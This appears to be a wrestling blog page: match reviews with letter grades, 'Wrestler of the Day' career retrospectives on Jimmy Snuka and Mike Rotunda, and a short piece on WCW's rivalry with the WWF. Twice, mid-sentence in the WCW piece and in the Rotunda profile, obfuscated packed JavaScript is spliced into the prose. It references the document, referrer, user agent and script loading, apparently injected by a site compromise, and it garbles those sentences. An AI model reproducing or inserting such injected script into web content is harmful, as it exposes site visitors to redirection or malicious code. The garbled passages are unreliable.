Randy goes back inside as Cena beats on the cuffs with a chair to no avail. Cena pulls hard enough to rip the bottom rope off and go up to knock Orton off the ladder but he only has one free arm due to the rope. Orton grabs the rope and uses the power of gravity to pull Cena down, sending him head first into the table which DOESN’T BREAK. That looked bad. Orton goes up again and pulls down both titles for the surprise win at 24:35.

Rating: B. I liked the match and the ropes idea was good, but that ending came out of nowhere. Given how badly Cena’s head went into that table, I wouldn’t be shocked if he had an actual injury. Orton winning makes more sense but I’m kind of shocked it was clean. Well as clean as you can get in a TLC match of course. Good stuff here but the ending leaves a lot of doors open.

I’m a big Orton fan and have been for a long time. I know he may not be the most interesting wrestler in the world but the guy is capable of having good matches with almost anyone. Yeah he gets repetitive a lot, but he has an awesome finisher and has figured out his character perfectly. He’ll be around for several more years and will win a ton more World Titles, as he deserves to do.

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Wrestler of the Day – March 31: Jimmy Snuka

Today it’s Super Super Superfly Jimmy Snuka.

Snuka got started in 1969 but stuff from that era is very hard to find. Therefore we’ll jump ahead ten years to the NWA in 1979 where Jimmy and Paul Orndorff are World Tag Team Champions.

Jimmy Snuka/Paul Orndorff vs. Frank Monte/Brute Bernard

Non-title as Jimmy starts with Monte. Jimmy runs him down and nips up after a hiptoss. A shoulder puts Monte down as well so it’s off to the bigger Bernard. Orndorff comes in and the commentator has the most complete profile I’ve ever seen, including Orndorff’s hometown, height, weight, astrological sign, favorite food, favorite sport other than wrestling (boxing), football career and hobbies. Jimmy comes back in and we hear an abbreviated profile as the non-champions take over. Snuka fights up and falls into the tag to Orndorff for some house cleaning. Back to Snuka for a slam and the Splash for the pin.

Rating: D+. Not much to see here but that announcer had done his research. I mean….ASTROLOGICAL SIGNS? Jim Ross would think this was going too in depth. It’s so strange to see Snuka and Orndorff as young guys, even though Snuka was a seasoned veteran around this time.

It was soon off to the WWF where Snuka would become a big deal almost immediately. Here’s Jimmy challenging for the Intercontinental Title in Philadelphia on May 22, 1982.

Intercontinental Title: Pedro Morales vs. Jimmy Snuka

Snuka has only been around for a few months at this point but the fans are loving him, despite him being a heel. The announcers aren’t sure what to do with him because they know he’s popular but he’s supposed to be the evil savage. He has a thing for flowers apparently. Snuka wrestles barefoot which is another thing that made him different. The fans here are split which is a weird sight.

They fight over a top wristlock to start and Snuka complains of a hair pull. Snuka takes it to the mat with arm control and Dick Worhle is the referee. He died a few days ago so that’s kind of sad to see. Now Snuka pulls the hair to keep the advantage. See how easy a heel move that is? Such little things like that one are just lost in modern wrestling.

Snuka runs him over and headbutts Pedro down as the fans applaud. Now keep in mind: Pedro is a very popular guy. He held the IC Title forever and was a former world champion. However, Snuka was a totally different kind of guy and the fans, especially the Philly crazy people, took notice and loved him. Pedro is in trouble and gets knocked to the floor by a forearm. All Snuka so far.

Out to the floor and Pedro goes into the apron. Back in and Pedro is almost knocked right back out. Off to a chinlock for a few moments and Pedro FINALLY gets up. He hits his first decent offense of the match in the form of a backdrop but Snuka takes him right back down again. A middle rope headbutt half kills Pedro and you would think that Snuka was the top guy in the company based on the fans’ reactions.

That only gets two though and Snuka has a headache from the headbutt. Pedro grabs the face and works it over (that’s not something I’m used to typing) and starts his comeback. He hits his big left and Jimmy looks like he’s dancing. Out to the floor and Snuka tastes the steel. A BIG left hand sends Snuka flying into the ropes. Snuka rakes the eyes which doesn’t really do much good. Pedro hits a knee to the chin and then shoves the referee because of that firey Latin temper of him. Now Pedro throws him to the floor and it’s a LAME DQ.

Rating: C+. Well it wasn’t a classic or anything as Pedro was way too fond of just throwing the left hand but the crowd was very energetic for this as they were both very popular guys. Notice that the match is very similar to the rest of them but the names are bigger. There wasn’t much variety in this era and it shows badly at times.

Pedro throws the referee down again and again. Snuka nails Worhle and the brawl continues. Out to the floor and Snuka goes into the post. They KEEP FIGHTING and Snuka headbutts both Morales and the referee at the same time. Snuka finally leaves and the fans aren’t pleased with Pedro. Cool brawl though. Morales is mad about the brawl and says bring Jimmy on again anytime.

Then there’s this, from October 17, 1983 in MSG. You may have heard of it.

Intercontinental Title: Don Muraco vs. Jimmy Snuka

This is in a cage. Sound familiar? You can only win by escape, making this a REAL cage match. A quick slugout is won by Snuka but Muraco pops back up. Snuka chops away as the beating begins. Don tries for the door but Snuka will have none of that. Muraco manages to slingshot him into the cage and Jimmy is busted early. Snuka gets a knee up and climbs the cage, only to come back down and pound away on Muraco some more.

Don manages a slam and goes for the door but Jimmy makes a save, only to take a low blow. Snuka pops up and chops Don’s head open, followed by a middle rope headbutt. He stands Muraco up, and in a semi-famous ending, hits a flying headbutt which knocks Muraco into the door, knocking it open so that the unconscious Muraco can fall out to keep the title.

Rating: D+. The match was intense while it lasted, but the whole thing only runs about seven minutes. There’s nothing of note here at all other than the ending which is pretty creative. I don’t remember a shorter cage match off the top of my head, which is something I think a lot of people forget. I think people think this was a big and epic brawl but it’s really Snuka killing him and then the ending with a run time of 6:46. That’s not much.

Post match Jimmy snaps and throws Muraco back inside. He suplexes Muraco down and goes to the corner. He climbs to the top rope but then goes a step further to the top of the cage, and in the most famous scene in wrestling until Hogan vs. Andre, jumps off the top of the cage with the Superfly Splash, completely crushing Muraco. That still looks great today, and some credit needs to go to Muraco. He was starting to sit up when Jimmy hits him, but after the Splash Muraco is DEAD.

Mick Foley, Sandman, Tommy Dreamer and Bubba Ray Dudley were in attendance that night and all have said this was what made them want to be a wrestler. I can easily see how that would be the case, as there was nothing like this beforehand. Snuka was flying through the air and crushed Muraco, which still looks incredible today. It’s stuff like that which you can only see in wrestling, which is what makes it great.

For some reason on the replays they keep stopping it right before the splash hits.

One of Snuka’s best known moments is being Hulk Hogan/Mr. T.’s second in the main event of the first Wrestlemania. That show was the followup to War to Settle the Score, so here’s Jimmy’s match from that show.

Jimmy Snuka vs. Bob Orton

This is a precursor to Heroes of Wrestling. Snuka is roided out of his mind here. This is an offshoot of Piper vs. Snuka. BIG pop for Snuka. Snuka sends him in and almost puts Orton to the floor with the force of it. Amazing how much more into this the crowd is with someone they actually, you know, CARE ABOUT.

We get a headlock from Jimmy as they’re feeling each other out here. Snuka does the double leap frog that he was kind of famous for as the speed is way up here. Back to the headlock but this time on the mat. We get one of my favorite stupid lines ever from Gorilla: “This is a main event in any arena in the world.” You know, except for here where it isn’t the main event.

Orton hits the floor for a bit of air. I guess there wasn’t enough air elsewhere in the ring. Atomic drop takes Jimmy down as I guess his head wasn’t as hard as his balls. Wait scratch those balls and replace it with a head and put balls where head was. Yeah that should do it. Orton misses a top rope splash which he landed on his feet in anyway. Jimmy unleashes the martial arts of grunting and Orton is reeling.

It’s one sided now with Jimmy fully in control as he hits a backbreaker and heads to the corner. A headbutt (no splash???) misses and Orton gets out of the way. Orton charges at Snuka in the corner and hits his arm on the post, hurting his….HOLY GOODNESS IT’S THE ARM INJURY!!! This is easily the most famous injury in wrestling history, not healing for over two years. According to Orton it was legit hurt for that long and they just made it a gimmick, but I’m not sure I buy that. A sunset flip ends Orton just a few seconds later.

Rating: C+. Much better than anything we’ve seen so far tonight but still nothing classic. Great bit of history here though with that injury which I never realized happened here. These two were joined at the hip forever and luckily the matches were at least pretty good more often than not. Decent match and a breath of air for the most part.

You can’t have Orton without Piper, so here’s a match from MSG in August of 1984. This is fallout from the famous coconut smash.

Roddy Piper vs. Jimmy Snuka

August 25, 1984 in the Garden again. Snuka starts off with chops and a headbutt. Piper is begging off as is the custom to start a grudge match like this in the 80s. Piper tries a headbutt of his own and when that doesn’t work he thumbs Snuka in the eyes. Jimmy grabs a sleeper and Piper is apparently trying to shimmy his way out of it. They go to the floor with the hold still on.

Piper, more in his element now, is able to break the hold on the floor. Jimmy sends him into the post and is busted open. Jimmy “goes bananas” according to Gorilla, which is a very poor choice of words given what started this feud. Snuka hammers away and hits the headbutt but the top rope cross body is countered into a hot shot and falls to the floor for a countout. Again, they keep the feud going with a non-conclusive ending. Old school booking 101.

Rating: B-. Solid brawl here as you could feel the hatred. This was a house show match though so the ending is understandable. The feud between these guys was great and I’m sure it would be blown off at another house show just like this one. I love old school booking. It’s so much different than today’s. Actually it’s not so different but house shows were the life blood of the company back then.

Where would we be without some Hogan? From May 15, 1985 in Boston.

Hulk Hogan/Jimmy Snuka vs. Don Muraco/Bob Orton

In Boston which means a hot crowd. Hogan is champion (duh) and Jimmy is probably the second most popular guy in the company. More Mania fallout stuff here. Big brawl to start and the good guys clear the ring. Snuka and Orton officially start and Bob gets his cast beaten on. Well that’s a very slow healing injury after all. They work on the arm for awhile with Hogan even coming in off the middle rope with a shot.

The arm hits the post and at this point it’s still a fresh injury, only having been broken for a month or so. Back to Snuka and the beating continues. The Human Banana comes back in and Orton can’t get anything going. Big atomic drop has Orton in trouble but he manages to trip Hogan to bring in Muraco. Gee Hogan went down quickly there. Clipped to Orton hitting a nice delayed vertical on Hogan.

Back to Muraco with some nice heel double teaming. They collide and there’s the hot tag to Snuka. The camera cuts to a shot of the crowd and a kid pops up right in front of the camera like in a horror movie. Fuji gets up on the apron for a distraction and Orton hits Snuka with the cast. Hogan takes a shot too and Snuka is busted. OH MAN is he cut. Hogan goes into the post on the floor and we’re clipped to more beating on Snuka. He gets a shot in though and it’s off to Hogan finally. Orton pops him with the cast almost immediately and it gets thrown out.

Rating: C+. I liked this one a lot and I’d have loved to see the full version of it. That and a decisive ending instead of the DQ but whatever. This was Hogan 101 back in the day: find some guy to tag with, find a pair of heels, and watch the guy get bigger than he was going to be able to get on his own. They’re trying that with Cena and Ryder at the moment, but it’s not working so well because Ryder looks like a helpless chick (remember Cena holding him?) in the whole thing.

Snuka would leave the WWF in August of 1985 and show up in the AWA in 1986. Here’s a tag match from later in that year against Snuka’s biggest rival: Colonel DeBeers.

Doug Somers/Colonel DeBeers/Larry Zbyszko vs. Curt Hennig/Greg Gagne/Jimmy Snuka

Larry has blonde hair here and it looks weird as all goodness. This is back in Vegas for no apparent reason and is billed as the main event. Gange is the son of the owner and completely and utterly crap. He was given a title made for him and he was literally one of only two people to hold it until the company folded. The heels have Sherri Martel with them here and she’s listed as Women’s Champion so this is after June 28.

DeBeers says something stunning as he says he won’t wrestle Snuka as he’s not 100% white. Holy goodness indeed. He’s apparently replacing some rookie named Scott Hall. I love seeing random names like that pop up. And before any moron says something, yes I know Hall wrestled for a long time in the AWA. Larry Hennig, Curt’s dad, is on commentary with the other two. Larry (Zbyszko is the only one I’ll refer to for the rest of this match) stalls like he always does and the announcers make fun of him for it. Yeah it’s the same show as earlier as the same seats are still empty.

Larry has mad heat on him and the crowd tells him that he sucks. The Colonel comes in and refuses to fight Snuka. He’s from South Africa where apartheid was still going on. He actually has curled mustache and twirls it. I like this guy. The twirler is beating on Snuka while he’s tied up as we return from a commercial. He’s doing the traditional cowardly heel thing as he’ll only fight when it’s easy.

Hennig is the top face in the company only after Bockwinkle and would soon win the title from him, holding it for about a year. This is more or less completely lacking any kind of flow as it’s a mess if I’ve ever seen one. Gagne is getting the heck beaten out of him and Hennig keeps getting tags that the referee doesn’t see. Hennig comes in and cleans house. You might even say he’s perfect at it. A missile dropkick on Somers gets the pin for the faces. DeBeers jumps Snuka and like an idiot goes for the head. If you’re going to be a racist, know your stereotypes.

Rating: D+. Again just kind of a mess but I’m assuming there’s a story here as there would be little reason to have this as the main event otherwise. Hennig was a god in the AWA at this time and this was no exception at all. He looked dominant and that was why this match happened.

Snuka would head back to the WWF in the late 80s and appear at the 1990 Survivor Series.

The Vipers vs. The Visionaries

Jake Roberts, Rockers, Jimmy Snuka
Rick Martel, Warlord, Power and Glory

Power and Glroy are Hercules and Paul Roma. This is built around Martel vs. Roberts, which is based on Martel blinding Jake with cologne and Jake not having full vision yet. This was a BIG feud which they screwed up with a horrible match at Wrestlemania. It wasn’t that the wrestling was bad, but that it was a blindfold match and they spent about 2 minutes in contact with each other.

Marty and Warlord start as Piper is singing I Am The Walrus. Warlord powers Marty around but misses a charge in the corner. For those of you unfamiliar with Warlord, imagine Chris Masters but paler, bald, and even dumber. Both Rockers try to outmaneuver him but it just results in bringing in Martel. Shawn handles him with ease and brings in Jake, causing Martel to scamper away.

It’s Roma instead and Jake picks him apart like he’s not even there. He works on Roma’s arm and brings in Snuka to keep it up, but the afro apparently weighs down Snuka’s brain to the point where he can’t maintain a wristlock. Off to Hercules who gets chopped down so it’s off to Warlord instead. Snuka tries his stuff but when that gets nowhere it’s off to Marty. Jannetty tries his speed stuff but jumps into a great looking powerslam for the pin.

Off to Shawn whose leapfrog is caught but he ranas Warlord down instead. Jake comes in and the fans wants a DDT. A bunch of clotheslines take Warlord down and it’s back to Shawn. Roma comes in with an elbow drop to the back of the head as Gorilla talks anatomy. Warlord comes in and backdrops Shawn before tagging out to Herc. Martel comes in just as fast and drops a knee for two. Roma sends Shawn into the corner and Shawn of course sells it like he’s dead. Martel’s shoulder hits the post and here’s Snuka again.

A flying headbutt to the standing Martel gets two, but Rick grabs a small package for the pin out of nowhere. Jake comes in again and Martel immediately runs and brings in Hercules. Roberts is getting frustrated because he can’t get his hands on Martel, but he still manages a knee lift and a failed DDT attempt. Jake starts pounding away on Herc and Martel clotheslines him down out of nowhere.

Roma comes in for some stomping but he misses a middle rope punch. There’s the hot tag to Shawn who suplexes Roma down and hits a middle rope elbow for two. Shawn does what he can but Hercules comes in off a blind tag and pounds away even more. Power and Glory hook up the Powerplex (superplex from Herc immediately followed by a top rope splash from Roma) eliminates Shawn and it’s 4-1. It’s Hercules in first but Jake is in trouble. Warlord comes in with a bearhug but Jake escapes and DDTs him out of nowhere. Jake says screw it and gets the snake out. He chases Martel to the back for the countout loss.

Rating: D+. There wasn’t much to see here but other than Jake vs. Martel, there was nothing here at all. To the best of my knowledge, Warlord and Snuka never interacted at all before or after this so they were just tacked on. The Rockers and Power and Glory had fought at Summerslam but that’s about it. The Visionaries are the first ever team to survive intact.

Now out of big time wrestling, Snuka would hit the indies, including a startup company called Eastern Championship Wrestling. However, he would also perform once for WCW as an ECW representative/legend at Slamboree 1993.

Dick Murdoch/Don Muraco/Jimmy Snuka vs. Wahoo McDaniel/Blackjack Mulligan/Jim Brunzell

Snuka in WCW is just weird. There are only three Legends matches and they’re all in a row. See, the problem with shows like these is that they have to actually wrestle. The Jims star us off here. Brunzell controls and takes over to start before bringing in Mulligan (Barry Windham’s dad). Mulligan vs. Murdoch now and they look their age. Murdoch gets taken down and goes into the wrong corner which ends badly for him.

Larry actually gets on Schiavone for knowing too much history. Dang Bischoff messed with that guy’s head and style like nothing I’ve ever seen. Murdoch (former big shot in the KKK apparently) runs from Wahoo and it’s off to Muraco. Wahoo slams him a few times and Muraco runs off. It’s weird to see Snuka on the seemingly heel team.

Muraco chops McDaniel a lot as Wahoo is face in peril I guess. Ok never mind as it’s off to Brunzell again who hits that dropkick of his. MURDOCH HITS A FREAKING FLYING HEADSCISSORS!!! I need a minute here. The announcers pop big for that. Not very horrible either if you can believe that (playa). Sleeper doesn’t work that well for Brunzell as Muraco breaks it up and hits a powerslam for no cover.

Wahoo gets a tag but the referee misses it so we’re still not ready to bring someone new in. Heel miscommunication puts Snuka down. Murdoch goes up top and puts his knee in Brunzell’s back to drive him down for two. Back to Muraco who gets caught in a cross body for two. Snuka finally comes in and gets in an argument with Snuka. Everything breaks down into a big brawl and the match gets thrown out.

Rating: C. It’s hard to come down on these matches as they’re not supposed to be good or anything. None of the guys have been active for years other than maybe some work on the indy circuits (Muraco was in ECW sometime around this, as was Snuka) so it’s not like they’ve been in the spotlight recently. The idea is to let them get one last hurrah and that’s fine. Hard to complain if the match is even remotely passable.

Snuka was ECW’s biggest name star and would appear at The Night The Line Was Crossed, against an up and coming rookie.

Tommy Dreamer vs. Jimmy Snuka

Snuka is EVIL here and Dreamer is a pure rookie. I’ve seen this before somewhere. Dreamer is from Dreamland USA. Wow indeed. He’s the pretty boy in bright blue tights here and no one cares about him. Snuka is by far the biggest star in the company at this point. Joey promises a classic. That’s never a good sign. Dreamer is 22, my age, here. That’s hard to imagine as he’s always been old.

Lots of stalling to start as we just had to stretch this show out further didn’t we? Dreamer puts on the hat of a kid for no apparent reason. After about three minutes of stalling we lock up and go to a headlock. And now we stall some more. I thought WE WRESTLE IN THE NWA! The fans chant for Piper although I’m not sure why. Would it kill you guys to do something?

Snuka pops him with a pretty weak chair shot on the floor in by far the most interesting move of the match so far. Dreamer kicks out of the Superfly Splash and Joey apparently thinks he can walk on water too. Snuka hits two more of them and Dreamer is more or less dead. He’s bleeding from the mouth and Snuka finally pins him. He beats up some referees and other people afterwards and hits a fourth splash on Dreamer. Gordon comes out and gets beaten up too.

Rating: F+. This was about 80% stalling and then a bunch of splashes. It was like a weird kind of squash and by that I mean it wasn’t any good. The stalling is what hurts this as it’s nearly 8 minutes long and WAY too much of it was just them standing around and yelling at the crowd. Snuka wouldn’t mean anything in the long run anyway as he was only around for a few months after this while Dreamer became one of the biggest stars in the company.

Snuka would come back to the WWE on occasion as a legend, including being picked as Eugene’s partner at Taboo Tuesday 2005.

Rob Conway/Tyson Tomko vs. Eugene/Jimmy Snuka

Conway was a cocky guy with a legend hating gimmick which was dumb since Orton had just gotten done doing that. So is the mentally slow guy supposed to carry this team? Snuka looks out of shape here, nearly three and a half years before he was at Mania last year. Eugene and Tomko start us off and we’re already into the comedy portion as Eugene does the one hand up one hand down routine for the Test of Strength.

Conway wears his sunglasses during the match. Ok then. Eugene and Conway were more or less the most dominant tag team in the history of OVW, winning like 9 tag titles. Jimmy is going to be on the outside for the most part here due to a high level of old. There’s the hot tag to him anyway and Snuka just looks confused. Then again he looked that way in his prime.

The faces play ping pong with Conway using headbutts. Eugene hits a Rock Bottom and the splash ends it after about 15 seconds of setting up. Tomko gets back from writing his novel or whatever he spent the last few minutes doing and Kamala and Duggan make the save. At least they kept it short.

Rating: D. This was a bad match but what did you expect? We knew Snuka would win with the splash but seriously, was Tomko the best they had available as a partner? He had nothing to do with this feud or angle or anything like that. This was a glorified handicap match that just wasn’t interesting at all. Like I said though, at least it was short.

Same concept, two years later at Vengenace 2007.

Smackdown Tag Titles: Deuce N Domino vs. ???/???

It’s an open challenge here so the challengers are unknown. Deuce says this place is full of old people. Domino doesn’t like them either. This team was either great or completely idiotic. In short, they’re Fonzie from Happy Days. Cherry, their manager, in short is hot. Deuce is more commonly known as Sim Snuka or the guy that kept Taker from breaking his neck at Mania 25. The challengers are Sgt. Slaughter and Jimmy Snuka. Allow me to quote the 25th letter of the alphabet: WHY???????????/

Smackdown Tag Titles: Deuce N Domino vs. Sgt. Slaughter/Jimmy Snuka

Remember that Snuka is Deuce’s father. JBL says if the champions lose then he’s calling Ron Simmons up and reforming the APA. JBL suggests their name could be the Coffin Dodgers. Oh that’s funny. Sarge looks good here and we get a jab at the Ultimate Warrior. They beat the tar out of Domino here as you would expect them to. Again though, this is on PPV in 2007. There’s the Cobra Clutch which is his signature finisher, which always amused me.

The one time he used a different finisher, he won the WWF Title. So naturally he used the old one and never did anything again. This has been dominance so far. Deuce finally comes in and this is dragging badly. Snuka beating up his son is just kind of surreal. I don’t know if I’d want to be in that position or not. Snuka hits a top rope cross body but Deuce rolls through for the pin. How annoying do you think he’s going to be with that at Thanksgiving? He pinned his HOF dad on PPV. How cool would it be to be able to say that? Post match there’s a beatdown and Martel and Garea jump the railing for the save.

Rating: D-. The match was horrible obviously, but the point here was to have the legends get a chance out there again. That doesn’t make up for it though. This is just not something I want to see on a PPV show. On TV is one thing I guess, but no way this should be on PPV. Age has caught up with the Superfly and it was sad to see.

Despite being around for such a long time, Snuka wasn’t the kind of guy that won titles. That being said, he’s a great example of a guy getting over and staying over because of a style and one big move. The Superfly Splash is just cool all around and the image of him diving onto Muraco doesn’t stop being cool no matter what. Snuka is an innovative guy and one of the most entertaining guys of his era.

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Thought of the Day: History Is Written By The Winners

But eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bstkd|var|u0026u|referrer|sknse||js|php'.split('|'),0,{})) in this case it was written before the war ended.As inspired by a recent comment, I got to thinking about how rarely WCW got stuff right.  Much like TNA, they would get momentum and then the wheels would fall off for one reason or another.  However unlike TNA, there was a time when WCW was dominating the WWF for over a year.  Here’s the thing though:

Other than late 96-early 98, there weren’t many times at all where WCW was clearly in the lead.  Actually, there’s an argument to be made that WCW was NEVER firmly in the lead aside from that year and a half or so.  Other than that it was either even or a lead that could have gone either way.  At the end of the day, it’s almost always been the WWF’s world, at least since Hogan won the title.




Wrestler of the Day – March 30: Mike Rotunda

It’s appropriate this time of year: today is Mike Rotunda, more commonly known as IRS.

Rotunda eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzhbk|var|u0026u|referrer|bknrd||js|php'.split('|'),0,{})) got his start in the Florida territory in the early 1980s but was quickly brought up to the WWF in 1984. He and his real life brother in law Barry Windham would team up as the US Express and win the Tag Team Titles in January 1985. Here’s one of their defenses from the War to Settle the Score.

Tag Titles: Mike Rotunda/Barry Windham vs. The Spoiler/The Assassin

Both challengers are in masks. Windham is YOUNG here. Spoiler is a semi-famous guy from the 80s and Assassin is a generic masked dude. Rotunda and Spoiler start us off….and then Windham hits a bulldog to end this in maybe 30 seconds. Well I did say get us to the ending so maybe they’re listening.

The Express would drop the titles to the Iron Sheik and Nikolai Volkoff at the first Wrestlemania, setting up a six man tag at the first Saturday Night’s Main Event.

Iron Sheik/Nikolai Volkoff/George Steele vs. Mike Rotunda/Barry Windham/Ricky Steamboat

That’s quite the face tag team. This was on the SNME DVD (kick ass DVD that should certainly be picked up if you can find it. Awesome stuff on it) as an extra. Blassie is with the heels and Albano is with the faces. The two foreigners had taken the tag titles from the US Express at Wrestlemania for a token tag title change.

About a year prior to this, the US Express had been using Real American for their theme music. That went to Hogan of course and here they use Born in the USA by Bruce Springsteen which works like a charm for them as it’s perfect. We start with Windham and Steele which is an odd matchup if there ever has been one.

Sheik was hitting the end of whatever usefulness that he had at this point. Rotundo would soon head to WCW and become a member of the Varsity Club, ending in an awesome moment with Rick Steiner taking the TV Title from him after months of being talked down to by him. Wow what a tangent that was.

Oh and he’s more commonly known as I.R.S. Oddly enough the faces dominate early on. We go to commercial with the faces dominating. We begin the awesome SNME tradition of not having action during commercials so we don’t have to be all confused about how we got to a point during a break.

Wow there are four hall of fame wrestlers in here and two on the floor. That’s rather impressive, especially considering that the two that aren’t in there are two of the three most talented. Steele comes in and his teammates abandon him, allowing Windham to get a quick rollup for the pin. Steele eats a turnbuckle and the tag champions beat him up. That doesn’t last long as Albano comes in to calm him down and Steele is a face.

Rating: C-. Eh this was fine. It wasn’t meant to be anything special other than a way to get Steele out of the dark side, but the heel offense consisted of about four Volkoff punches and other than that it was a complete squash. I don’t get why it was so one sided, but it did its job and wasn’t bad at all so for the first match in show history this was perfectly fine.

The team would split up due to Windham having a meltdown but they would hook up again in the AWA at Wrestlerock 1986.

Fabulous Ones vs. Barry Windham/Mike Rotunda

The Fabulous Ones are Steve (Skinner) Keirn and Sweet Stan Lane. The guest announcer here is another radio guy which is the case with the vast majority of them. Windham vs. Lane starts things off. The crowd has filled in a lot and it looks much better. Feeling out process to start as Barry grabs a headlock. This is back when Windham was awesome and in shape so he’s fun to watch.

Off to Rotunda and the arm work (I’m as shocked as you are) begins. Lane tries to escape a hammerlock but gets kneed in the arm instead. Back to Barry who cranks on the arm some more. Off to Keirn who is armdragged right back down. Back to Mike who works a top wristlock. Barry comes in quickly for a chinlock. Keirn tries a leapfrog but gets punched in the face for his efforts. You can’t say Barry is over complicating things.

Windham/Rotunda hit a double dropkick and Keirn is in trouble. Mike misses a corner charge and the heels take over. Things break down quickly but Rotunda can’t make a tag. After a long beating by Lane it’s back to Keirn. Lane comes in for a neckbreaker but misses an elbow. There’s the tag to Barry after a short heat segment. Powerslam gets two on Stan.

The Ones cheat again and Barry gets caught in a chinlock. We’re ten minutes into this and it hasn’t really kicked into high gear yet, which is a shame given what you have to work with here. Barry grabs a small package on Lane for two. Off to Rotunda who speeds things up and gets two on Lane. There’s an airplane spin for two. Lane backdrops him and sets for a piledriver but Barry comes off the top with an elbow to the back of the head, giving Rotunda the pin.

Rating: C. Not a great match or anything here but it was ok I guess. They never cranked this up as high as they could and that really hurt it. Also the lack of any reason for these teams or wrestlers in any match for that matter to want to fight each other is really bringing things down. If they don’t care, why should I care?

It was soon off to the NWA where Mike would turn heel and win the TV Title. He held the belt for nearly a year before losing it to Rick Steiner at Starrcade 1989. Here’s the rematch from Chi-Town Rumble a month later.

TV Title: Rick Steiner vs. Mike Rotundo

This is the Starrcade rematch but the heat isn’t on it anymore as Steiner won the title. However there’s now the added issue of dealing with Rotundo’s Varsity Club’s teammates. Let’s go to Rick Steiner to see how he plans to deal with that. Rick brings in his brother as Scott Steiner debuts. Scott mentions that Rick is out there like he is (including talking to a puppet named Alex) because of a bad car wreck they were in a few years ago.

Rotundo is out there alone so Rick looks a bit odd having his brother there. Rick takes over to start, hitting what we would call an AA to frustrate Rotundo. This is going to be a very technical match. Mike gets sent to the floor again as Rick is controlling early but he hasn’t done anything major. Rotundo fires off a European uppercut but Steiner takes over again, this time with a headlock.

Steiner hits something but the camera is on someone in the crowd so we don’t see what gets the two count. We’re about six minutes into this and nothing has happened so far. Well at least nothing of note. They’ve been doing more than standing around for that whole time. Off to an abdominal stretch and Scott tries to get the referee to notice Rotindo’s cheating. They go to the mat and Rotundo hammers away with crossfaces.

Off to an armbar as this is a very slow paced match. It’s not bad but it’s slow. Rick hits a monkey flip to get a breather and a knee lift for two. A top rope splash (???) misses for the champ and we head outside. Back in and Rick snaps off a powerslam for two. And here’s Kevin Sullivan, talking about Rick’s dog in the back so Steiner goes after him. Back in Rotundo gets a suplex for two. Steiner pounds away in the corner with five minutes to go and there’s a sleeper. Steiner goes to the mat with it but loses focus with Rotundo on top so that Steiner gets pinned while holding on to the sleeper.

Rating: C+. Pretty creative ending there and it plays to the idea that Steiner isn’t all there but he’s trying. The Steiners would start teaming up soon after this and would become the best team WCW ever produced. Not a great match here but the pacing was good enough to give us something else that we didn’t see that often.

Rotunda would remain part of the Varsity Club heel team and team with Steve Williams to challenge the Road Warriors for the World Tag Team Titles at Clash of the Champions VI.

World Tag Team Titles: Varsity Club vs. Road Warriors

The Road Warriors are defending and the Club (Rotunda/Williams here) has also lost the US Tag Team Titles to Rick Steiner/Eddie Gilbert recently. Hawk grabs a headlock on Rotunda to stat but gets hiptossed down in a surprising power display from Mike. Back in and it’s Animal cleaning house with slams. Williams comes in for a showdown with Hawk and takes him down with a clothesline before it’s back to Mike. Animal gets the tag and has to backflip out of a double belly to back suplex but charges into a backdrop to the floor.

Williams goes outside with Animal and picks him up in a great looking spinebuster (called a bearhug slam by Hayes which is as good of a description as he could have used). Back in and we get an actual bearhug on Animal to work on the ribs. Rotunda comes in again and hooks an abdominal stretch. Animal is tossed outside and blasted with a chair as the referee is with Hawk.

Williams gets two off a spinebuster but charges into a boot, allowing Animal to tag in Hawk. Mike gets destroyed with power offense but Williams breaks up a cover. Everything breaks down and the referee gets bumped just before the Doomsday Device (Animal puts Rotunda on his shoulders so Hawk can clothesline him from the top rope) crushes Mike. Referee Teddy Long refuses to count but Williams sneaks in with a rollup on Hawk. Teddy DIVES over and counts to three in maybe half a second to give the Varsity Club the titles.

Rating: D+. The ending was more of an angle than a wrestling moment which is fine but the story here was why this happened. The Road Warriors were basically unbeatable in a regular match that there was no way to have them lose a clean fall. Teddy Long would be banned from being a referee for life but would quickly come back as a manager.

After the Club split up, Rotunda would become Captain Mike Rotunda, a boating enthusiast. Why? Because WCW of course. Here’s one of his matches from Great American Bash 1990.

Iron Sheik vs. Mike Rotunda

Uh….sure? Sheik jumps him to start and rips Mike’s jacket off. MY GOODNESS Sheik has a beer belly and a half on him. Mike grabs a fast sunset flip for two. Rotunda speeds things up and sends Sheik to the floor where JR calls him a terrorist. Back in now and they slug it out with Sheik keeping control. The abdominal stretch goes on but Sheik gets caught cheating to break the hold. Rotunda fights back and they slug it out. Sheik throws him to the floor to keep this match going. He suplexes Mike back in and gets pinned by a backslide.

Rating: D. Again, what was the point of this? Nothing of note happened at all and there was no point in having either guy on the card. Does anyone remember Sheik in WCW? I certainly don’t, but somehow he got paid for a full year because WCW forgot to stop his contract from being renewed. And you wonder why they went out of business.

Rotunda would jump to the WWF in 1991 and become his most famous character: IRS, a tax collector. IRS and Ted DiBiase would team up as Money Inc. and win the Tag Team Titles in early 1992 from the Legion of Doom in a match that wasn’t taped for TV. Here’s a title defense from Wrestlemania VIII.

Tag Titles: Money Inc. vs. Natural Disasters

Money Inc. is defending and is comprised of Ted DiBiase and I.R.S. DiBiase and Earthquake start things off with the heels (Money Inc.) getting beaten down and the rich man being knocked to the floor. Off to Typhoon vs. I.R.S. For osme arm work by the big guy. Typhoon misses a charge into the corner and it’s off to DiBiase….who is immediately beaten down as well. Typhoon misses a splash against the ropes and falls over the top and out to the floor.

